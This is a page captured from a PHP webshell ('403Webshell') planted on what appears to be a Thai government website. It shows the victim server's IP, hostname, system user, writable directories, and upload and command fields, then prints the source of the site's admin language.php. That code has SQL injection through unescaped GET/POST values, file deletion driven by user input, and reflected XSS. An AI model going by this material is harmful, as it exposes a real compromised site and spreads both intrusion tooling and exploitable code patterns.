403Webshell
Server IP : 27.254.152.13  /  Your IP : 216.73.217.38
Web Server : Apache/2
System : Linux ns1-252017.dragonhispeed.com 5.2.0 #1 SMP Fri Mar 29 22:50:14 MSK 2024 x86_64
User : coloflew ( 1072)
PHP Version : 5.6.40
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/coloflew/domains/tessabalpatiu.go.th/private_html/administrator/modules/setting/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/coloflew/domains/tessabalpatiu.go.th/private_html/administrator/modules/setting/language.php
<?php
$res = 0;

if($_GET['act']=="add"){
	$arrData = array();
	if(isset($_FILES)){
		foreach($_FILES as $key => $val){
			if( @ereg("^image", $key)){
				if( $val['name'] ){
					$thumnelwid = array("width"=>"18","hight"=>"12");
					$arrData[$key] = $objMaster->uploadImage("image", "../images/language",$key,"iconlang_".time(),$_FILES,"",$thumnelwid);	
					if($key=="image"){$chk_img1 = $arrData[$key];}
						$chk_img = $arrData[$key];
				}
			}
		}
	}

	$arrData['id']			= "";
	$arrData['lang_code']	= $_POST['lang_code'];
	$arrData['name']		= $_POST['name'];
	
	$langid = $db->insertData("language",$arrData);
	$table_array = array(
						 "language_value",
						 "banner",
						 "content",
						 "menu",
						 "menu_picture"
						 );
	$slang = $db->getOne("language","*","id=1");
	
	foreach($table_array as $key => $val){
		
		$table = $db->getAll($val,"*","lang_code='".$slang['lang_code']."'","","");
		
		if($table){
			$arrTable = array();
			$arrDa = array();
			foreach($table  as $ka => $va){
				$arrDa[]=str_replace("'", "\'", $va); 
				foreach($va  as $k => $v){
					$arrTable[$k]=$v;
				}
			}
			foreach($arrDa  as $ka2 => $va2){
				$arrTable = $va2; 
				//$arrTable['id']=$va2['id'];
				$arrTable['lang_code']=$_POST['lang_code'];
				
				$db->insertData($val,$arrTable);
			}
		}		
	}
	$msg = $lang_set['txtSaveComplete'];
	$res = 1;
}elseif($_GET['act']=="editdata"){
	
	$lang = $db->getOne("language","*","id='".$_POST['id']."'","","");
	$oldCode = $lang['lang_code'];
	if($_POST['chkDelImage']){
		@unlink("../images/language".$_POST['chkDelImage']);
		@unlink("../images/language/thumbs/".$_POST['chkDelImage']);
	}
	$arrData = array();
	if(isset($_FILES['image']['name']) || isset($_FILES['image']['name'])){
			foreach($_FILES as $key => $val){
				if( @ereg("^image", $key)){ //image
					$k="chkDel".ucfirst(strtolower($key));
					if( $val['name']){
						$thumnelwid = array("width"=>"18","hight"=>"12");
						$arrData[$key] = $objMaster->uploadImage("image","../images/language",$key,"iconlang_".time(),$_FILES,"",$thumnelwid);	
					}
				}
			}
	}else{
		$arrData['image'] = 	$_POST['oldImage'];	
	}
	
	$arrData['id']			= $_POST['id'];
	$arrData['lang_code']	= $_POST['lang_code'];
	$arrData['name']		= $_POST['name'];
	//echo "<pre>"; print_r($oldCode);exit;
	$db->updateData("language",$arrData,"id='".$_POST['id']."'");
	
	$table_array = array(
						 "language_value",
						 "banner",
						 "content",
						 "menu",
						 "menu_picture"
						 );

	foreach($table_array as $key => $val){
		$table = $db->getAll($val,"*","lang_code='".$oldCode."'","","");
		//$table = $db->getAll($val,"*","lang_code='ma'","","");
		//echo "<pre>"; print_r($table);
		if($table){
			$arrTable = array();
			$arrDa = array();
			foreach($table  as $ka => $va){
				$arrDa[]=str_replace("'", "\'", $va); 
			}
			//echo "<pre>"; print_r($arrDa);
			$where = "lang_code='".$oldCode."'";			
			foreach($arrDa  as $ka2 => $va2){
				if($val=="language_value"){ $where = "lang_code='".$oldCode."' and name='".$va2['name']."'";}
				$arrTable['lang_code']=$_POST['lang_code'];
				//echo "<pre>==>"; print_r($arrTable);
				$db->updateData($val,$arrTable,$where);
			}
			
		}
	}
	if($_SESSION['lang_code']==$oldCode){
		$_SESSION['lang_code'] = $_POST['lang_code'];
	}
	//exit;
	$msg = $lang_set['txtEditComplete'];
	$res = 1;
}elseif($_GET['act']=="edit"){
	$arrRes = $db->getOne("language","*"," id='".$_GET['id']."'");
	
}elseif($_GET['act']=="deletedata"){
	
	$lang = $db->getOne("language","*","id='".$_GET['id']."'","","");
	$table_array = array(
						 "language_value",
						 "banner",
						 "content",
						 "menu",
						 "menu_picture"
						 );

	foreach($table_array as $key => $val){
		$table = $db->getAll($val,"*","lang_code='".$lang['lang_code']."'","","");
		if($table){
			$arrTable = array();
			$arrDa = array();
				foreach($table  as $ka => $va){
					
					$arrDa[]=str_replace("'", "\'", $va); 
						foreach($va  as $k => $v){
							$arrTable[$k]=$v;
						}
				}
		}
		foreach($arrDa  as $ka2 => $va2){
			$db->deleteData($val,"lang_code='".$lang['lang_code']."'");
		}
	}//exit;
	
	$db->deleteData("language","id='".$_GET['id']."'");
	@unlink("../images/language".$lang['image']);
	@unlink("../images/language/thumbs/".$lang['image']);

	$msg = $lang_set['txtDeleteComplete'];
	$res = 1;
}
$where_f = "";
$page = $_GET['page'] ? $_GET['page'] : 1;
$arrlangP = $db->getAll( "language", "*","","" );
$arrLang = $objMaster->viewPages($page, $arrlangP, "10");
$getPage = $db->getAll("language","*","","order by name asc",@$arrPage["offset"]);
//echo "<pre>"; print_r($arrPage);
?>
<div class="content-box"><!-- Start Content Box -->
	<div class="content-box-header">
        <h3><?php echo $lang_set['language_title']; ?></h3>
        <ul class="content-box-tabs">
            <li><a href="#tab1" <?php echo ($_GET['act']=="" ? 'class="default-tab"' : "" );?>><?php echo $lang_set['list_page']; ?></a></li>
            <li><a href="#tab2" <?php echo ($_GET['act']=="edit" ? 'class="default-tab"' : "" );?>><?php echo $lang_set['add_page']; ?></a></li>
        </ul>
        <div class="clear"></div>
	</div> <!-- End .content-box-header -->
        <div class="content-box-content">
            <div class="tab-content <?php echo ($_GET['act']!="edit" ? "default-tab" : "" );?>" id="tab1"> <!-- This is the target div. id must match the href of this div's tab -->
            <?php if($res==1){?>
                <div class="notification success png_bg">
					<a href="#" class="close"><img src="images/icons/cross_grey_small.png" title="Close this notification" alt="close" /></a>
					<div>
					<?php echo $msg;?>
					</div>
				</div>
                <meta http-equiv="refresh" content="0;URL=index.php?name=setting&file=language">
            <?php }?>
        <form action="index.php?name=setting&file=language" method="post">
        <table>
        	<tr>
            	<td>
        	<input type="text" class="text-input small-input" name="keyword" value="<?php echo $_POST['keyword'];?>" /> &nbsp;<input type="submit" class="button" value="<?php echo $lang_set['search']; ?>" />
            </td>
            </tr>
        </table>
        </form>
        <form action="index.php?name=setting&file=language&act=deleteAll" method="post">
        <table>
            <thead>
            <tr>
                <th align="left"><?php echo $lang_set['language_name']; ?></th>
                <th><?php echo $lang_set['lang_code']; ?></th>
                <th width="77">&nbsp;</th>
            </tr>
            </thead>
            <tfoot>
            <tr>
                <td colspan="4">
                <div class="pagination">
                <?php if( $arrPage["startPage"]!="" && $arrPage["endPage"] !="" ){?>
                    <a href="index.php?name=setting&file=language&page=<?php echo $arrPage["startPage"];?>" title="First Page">&laquo; First</a><a href="index.php?name=setting&file=language&page=<?php echo ($page-1);?>" title="Previous Page">&laquo; Previous</a>
                    <?php 
					for($i = $arrPage["startPage"]; $i <= $arrPage["endPage"]; ++$i) {
						echo'<a href="index.php?name=setting&file=language&page='.$i.'" class="number '.($page == $i ? 'current' : '').'">'.($i).'</a>';
					}?>
                    <a href="index.php?name=setting&file=language&page=<?php echo ($page+1);?>" title="Next Page">Next &raquo;</a><a href="index.php?name=setting&file=language&page=<?php echo $arrPage["endPage"];?>" title="Last Page">Last &raquo;</a>
                <?php }?>
                </div> <!-- End .pagination -->
                <div class="clear"></div>
                </td>
            </tr>
            </tfoot>
            <tbody>
            <?php 
            if($getPage){
                foreach($getPage as $key => $val){
            ?>
            <tr>
                <td><?php echo $val['name'];?></td>
                <td><?php echo $val['lang_code'];?></td>
                <td class="delete">
                <a href="index.php?name=setting&file=language&act=edit&id=<?php echo $val['id']?>#tab2" title="Edit"><img src="images/icons/pencil.png" alt="Edit" /></a>
                <?php if($val['id'] <> 1){?>&nbsp;
                <a href="index.php?name=setting&file=language&act=deletedata&id=<?php echo $val['id']?>" title="Delete"><img src="images/icons/cross.png" alt="Delete" /></a><?php }?>&nbsp;
                </td>
            </tr>
            <?php
                }
            }else{
            ?>
            <tr>
                <td colspan="4" style="text-align:center"><?php echo $lang_set['status']; ?><?php echo $lang_set['page_not_have']; ?>.</td>
            </tr>
            <?php 
            }
            ?>
            </tbody>
        </table>
      </form>
    </div> <!-- End #tab1 -->

    <div class="tab-content <?php echo ($_GET['act']=="edit" ? "default-tab" : "" );?>" id="tab2">
    <form action="index.php?name=setting&file=language&act=<?php echo (@$_GET['act']=="edit" ? "editdata" : "add");?>" method="post" enctype="multipart/form-data" onsubmit="return checkpage();">
    	<input type="hidden" name="id" value="<?php echo @$arrRes['id'];?>" />
       	<p>
        	<label><?php echo $lang_set['language_name']; ?>:</label>
            <input type="text" class="text-input medium-input" name="name" id="name" value="<?php echo @$arrRes['name'];?>" />
        </p>
        <p>
           	<label><?php echo $lang_set['lang_code']; ?>:</label>
            <input type="text" class="text-input medium-input" name="lang_code" id="lang_code" value="<?php echo @$arrRes['lang_code'];?>" />
            <input type="hidden" name="old_code" value="<?php $arrRes['lang_code'];?>" />
        </p>
		<hr />
		<p>
				<input type="submit" class="button" value="<?php echo $lang_set['submit']; ?>" />
		</p>
	</form>
    </div> <!-- End #tab2 -->        
</div> <!-- End .content-box-content -->
</div>

Youez - 2016 - github.com/yon3zu
LinuXploit